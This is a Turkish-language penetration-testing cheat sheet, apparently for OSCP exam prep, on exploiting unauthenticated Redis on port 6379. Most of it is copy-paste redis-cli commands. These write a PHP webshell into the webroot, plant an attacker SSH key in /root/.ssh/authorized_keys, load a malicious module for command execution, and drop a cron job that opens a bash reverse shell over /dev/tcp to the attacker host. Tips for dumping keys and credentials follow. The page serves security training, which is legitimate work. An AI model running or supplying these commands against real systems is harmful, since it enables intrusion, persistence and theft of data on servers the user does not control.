6379
Redis
linuxRedis (cogunlukla kimlik dogrulamasiz): webshell yazma, SSH authorized_keys yazma, RDB/cron abuse ve module load ile RCE.
┌──
Komutlar
nmap ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=redis-info {{RHOST}} Redis surum tespiti ve info enumeration. HackTricks — 6379 Pentesting Redis
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} INFO Kimlik dogrulamasiz INFO ile surum, OS, config bilgisi. HackTricks — 6379 Pentesting Redis
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} -a '{{PASS}}' INFO AUTH gerektiren Redis'e parola ile baglanti. HackTricks — 6379 Pentesting Redis
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG GET dir RDB yazma dizinini ogren (webshell/SSH key yolu icin gerekli). HackTricks — Redis RCE
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG SET dir /var/www/html && redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG SET dbfilename shell.php && redis-cli -h {{RHOST}} -p {{RPORT}} SET x '<?php system($_GET["c"]); ?>' && redis-cli -h {{RHOST}} -p {{RPORT}} SAVE Webroot'a PHP webshell yazma (writable webroot gerekli). HackTricks — Redis RCE (webshell)
redis-cli ✓ EXAM-SAFE
(echo -e '\n\n'; cat {{LHOST}}_key.pub; echo -e '\n\n') > sshkey.txt && redis-cli -h {{RHOST}} -p {{RPORT}} flushall && cat sshkey.txt | redis-cli -h {{RHOST}} -p {{RPORT}} -x set sshkey && redis-cli -h {{RHOST}} -p {{RPORT}} config set dir /root/.ssh && redis-cli -h {{RHOST}} -p {{RPORT}} config set dbfilename authorized_keys && redis-cli -h {{RHOST}} -p {{RPORT}} save /root/.ssh/authorized_keys'e public key yazip SSH erisimi alma. HackTricks — Redis RCE (SSH key)
redis-cli ⚠ RESTRICTED
redis-cli -h {{RHOST}} -p {{RPORT}} MODULE LOAD /path/to/exp.so && redis-cli -h {{RHOST}} -p {{RPORT}} system.exec 'id' RedisModules-ExecuteCommand .so modulu yukleyip komut calistirma (RCE). HackTricks — Redis RCE (module)
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG SET dir /var/spool/cron && redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG SET dbfilename root && redis-cli -h {{RHOST}} -p {{RPORT}} SET x '\n* * * * * bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1\n' && redis-cli -h {{RHOST}} -p {{RPORT}} SAVE Cron dizinine reverse shell job yazma (Redis root calisiyorsa). HackTricks — Redis RCE (cron)
Genel Bakis
Redis OSCP’de en cok RCE veren servislerden biridir cunku cogu lab kurulumu kimlik dogrulamasiz ve genellikle yuksek yetkiyle calisir. Ana saldiri vektorleri: webshell yazma, SSH key yazma, cron job yazma ve module load ile dogrudan RCE.
Enumeration
redis-cli INFOile surum, isletim sistemi, calistigi kullanici (os,redis_version), veconfig_filebilgisini al.CONFIG GET dirveCONFIG GET dbfilenameile RDB dosyasinin nereye yazilacagini belirle; tum dosya-yazma teknikleri buna dayanir.- AUTH gerekiyorsa (
NOAUTHhatasi) bilinen/varsayilan parolalari (requirepasscogu zaman bos) veya config’den sizan parolayi dene.
Dosya Yazma ile RCE Teknikleri
- Webshell:
CONFIG SET dir <webroot>+dbfilename shell.php+ bir key’e PHP payload +SAVE. Webroot’un yazilabilir ve PHP calistirir olmasi gerekir; RDB cikti basinda binary metadata olur ama PHP yine parse eder. - SSH key: payload’i bos satirlarla sarmalayip
/root/.ssh/authorized_keysveya kullanici .ssh dizinine yaz; Redis o kullanici yetkisinde calisiyorsa SSH ile gir. - Cron:
/var/spool/cronveya/etc/cron.daltina reverse shell job yaz; sadece Redis root ise ve cron formatini tolere ediyorsa calisir (RDB metadata yuzunden bazen syntax hatasi olur, comment satirlari ile sarmala).
Module Load ile RCE
- Redis 4.0+
MODULE LOADdestekler. RedisModules-ExecuteCommand .so’sunu derleyip once hedefe yaz (CONFIG SET dirile), sonraMODULE LOADedipsystem.exec/system.revile komut/reverse shell al. Otomatik exploit modullerine yakin oldugu icin examSafety restricted.
Loot / Pivot Notlari
KEYS *ile tum anahtarlari,GET <key>ile degerleri dump et; oturum token’lari ve uygulama kredleri burada olabilir.- RCE/SSH aldiktan sonra cogu zaman
redisveyarootkullanicisi olursun;redisise standart Linux privesc enumeration’a gec.
┌──
İlgili teknikler
Linux PrivEsc Enumeration Metodolojisi (linpeas / LinEnum / pspy / Manuel Checklist)Cron Job Privilege Escalation (writable scripts, PATH ve wildcard abuse, pspy)SSH Anahtarları ile Privilege Escalation (okunabilir private key, writable authorized_keys, agent hijack, known_hosts)Servis Exploit & Varsayılan Kimlik Bilgisi İş Akışı
┌──